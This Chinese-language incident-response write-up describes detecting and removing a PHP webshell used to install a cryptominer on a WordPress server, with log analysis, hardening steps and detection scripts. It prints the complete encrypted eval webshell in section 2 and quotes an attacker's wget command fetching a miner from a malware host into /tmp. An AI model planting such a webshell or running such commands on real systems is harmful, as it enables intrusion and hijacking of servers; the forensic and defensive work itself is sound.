1. 事件背景与问题定位
那天下午三点十七分,运维组的报警系统突然响起刺耳的蜂鸣声。我盯着监控大屏上那个异常飙升的CPU使用率曲线,手指不自觉地敲击着桌面。这是一台承载着公司官网业务的CentOS服务器,平时负载稳定在15%左右,此刻却飙到了87%。更可疑的是,流量监控显示入站请求数并没有明显增加。
我立即通过跳板机登录服务器,输入top命令后,一个名为"php-cgi"的进程引起了我的注意——它持续占用着45%左右的CPU资源。作为有五年安全运维经验的老兵,我本能地察觉到这绝非正常现象。进一步用ps auxf命令查看进程树时,发现这个php-cgi进程是由Apache用户www-data启动的,但它的父进程ID却对应着一个不存在的进程。
经验提示:当发现异常进程的PPID(父进程ID)在进程列表中不存在时,这通常是进程被故意隐藏或恶意创建的标志。正常的系统进程都会有完整的父子进程链。
2. Webshell的发现与特征分析
我立即对网站目录进行全盘扫描,使用find命令配合-modified参数查找最近修改的文件:
find /var/www/html -type f -mtime -1 -ls在/var/www/html/wp-content/uploads/目录下,发现了一个名为"wp-image.php"的可疑文件,修改时间是两小时前。用vim打开后,看到了典型的Webshell特征:
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p);}} @call_user_func(new C(),$params); ?>这个Webshell使用了多层混淆技术:
- 动态密钥交换($key变量)
- 输入数据采用AES128加密或异或编码
- 通过__invoke魔术方法实现命令执行
- 利用call_user_func绕过某些安全检测
3. 流量分析与攻击溯源
为了追踪攻击者的行为,我分析了Apache的access_log:
grep 'wp-image.php' /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -nr发现主要攻击来自三个IP,其中185.143.223.67这个IP在短时间内发起了47次请求。通过tcpdump抓取实时流量:
tcpdump -i eth0 host 185.143.223.67 -w attacker.pcap使用Wireshark分析捕获的流量包,发现攻击者采用了以下手法:
- 首次请求:发送加密的探测命令"system('uname -a');"
- 二次请求:获取服务器信息后发送"system('wget http://malware.site/xmr -O /tmp/.x; chmod +x /tmp/.x');"
- 后续请求:启动挖矿程序并隐藏进程
关键发现:攻击流量有几个明显特征:
- User-Agent伪造为"Googlebot/2.1"
- 请求间隔固定为17秒
- 每个POST请求体长度严格控制在512字节
- 使用Content-Type: application/octet-stream伪装
4. 应急响应与系统加固
立即采取的措施:
- 隔离感染服务器:
iptables -A INPUT -s 185.143.223.67 -j DROP iptables -A OUTPUT -d 185.143.223.67 -j DROP- 清除Webshell并修复漏洞:
rm -f /var/www/html/wp-content/uploads/wp-image.php chattr +i /var/www/html/wp-content/uploads/- 检查后门账户:
awk -F: '($3 == 0) {print}' /etc/passwd grep '0.0.0.0' /root/.ssh/authorized_keys长期加固方案:
- 部署ModSecurity规则:
SecRule FILES_TMPNAMES "@contains php" "id:1005,log,deny,msg:'PHP upload detected'"- 实施文件完整性监控:
apt install aide aideinit mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db- 修改PHP配置:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen open_basedir = /var/www/html5. Webshell检测与防御实践
通过这次事件,我总结出几个有效的Webshell检测方法:
- 基于行为的检测:
# 监控可疑的PHP进程 ps aux | grep php | grep -v 'apache2\|fpm' # 检查异常网络连接 netstat -antp | grep php- 文件特征扫描:
# 查找包含危险函数的PHP文件 grep -r --include="*.php" "eval(" /var/www/html # 检测短小精悍的可疑文件 find /var/www/html -type f -name "*.php" -size -10k -exec ls -la {} \;- 日志分析技巧:
# 统计访问敏感文件的IP awk '$7 ~ /\.php/ {print $1}' access.log | sort | uniq -c | sort -nr # 检测异常的HTTP方法 awk '$6 !~ /GET|POST/ {print $6}' access.log | sort | uniq防御体系建设建议:
部署WAF规则拦截以下特征:
- 异常的Content-Type头
- 固定间隔的请求
- 特定长度的POST数据
实施最小权限原则:
chown -R root:www-data /var/www/html find /var/www/html -type d -exec chmod 750 {} \; find /var/www/html -type f -exec chmod 640 {} \;- 定期安全审计:
# 检查新增的crontab任务 ls -la /etc/cron* | grep -v '^d' # 扫描隐藏进程 unhide proc6. 攻击链还原与经验总结
通过分析完整的攻击链,攻击者的入侵路径逐渐清晰:
- 利用WordPress插件漏洞上传Webshell(时间戳显示在插件更新后2小时)
- 通过Webshell执行系统命令,下载挖矿程序
- 修改.htaccess文件隐藏恶意流量
- 创建持久化后门(在/etc/rc.local中添加启动项)
关键取证证据:
- /tmp/.bash_history显示攻击者尝试了sudo -l
- /var/log/auth.log中有大量失败的su尝试
- /etc/ld.so.preload被修改用于库注入
从这次事件中我获得的几点重要经验:
- 插件更新后要立即检查文件变动
- 正常的CPU使用率曲线突然变化往往是第一征兆
- Webshell的父进程异常是个关键指标
- 攻击者通常会先进行环境探测再执行真实攻击
一个实用的检测脚本:
#!/bin/bash # 检测异常PHP进程 abnormal_php=$(ps aux | grep php | grep -vE 'apache2|fpm' | wc -l) if [ $abnormal_php -gt 0 ]; then echo "[DANGER] Found $abnormal_php abnormal PHP processes!" ps aux | grep php | grep -vE 'apache2|fpm' fi # 检查Web目录新增文件 find /var/www/html -type f -mtime -1 ! -name "*.log" -ls最后要强调的是,安全运维不是一次性工作。我现在养成了几个习惯:
- 每天早上的第一件事是查看服务器资源监控图
- 每周五下午进行文件完整性校验
- 每次插件/系统更新后立即做差异对比
- 所有运维操作都记录在带时间戳的日志中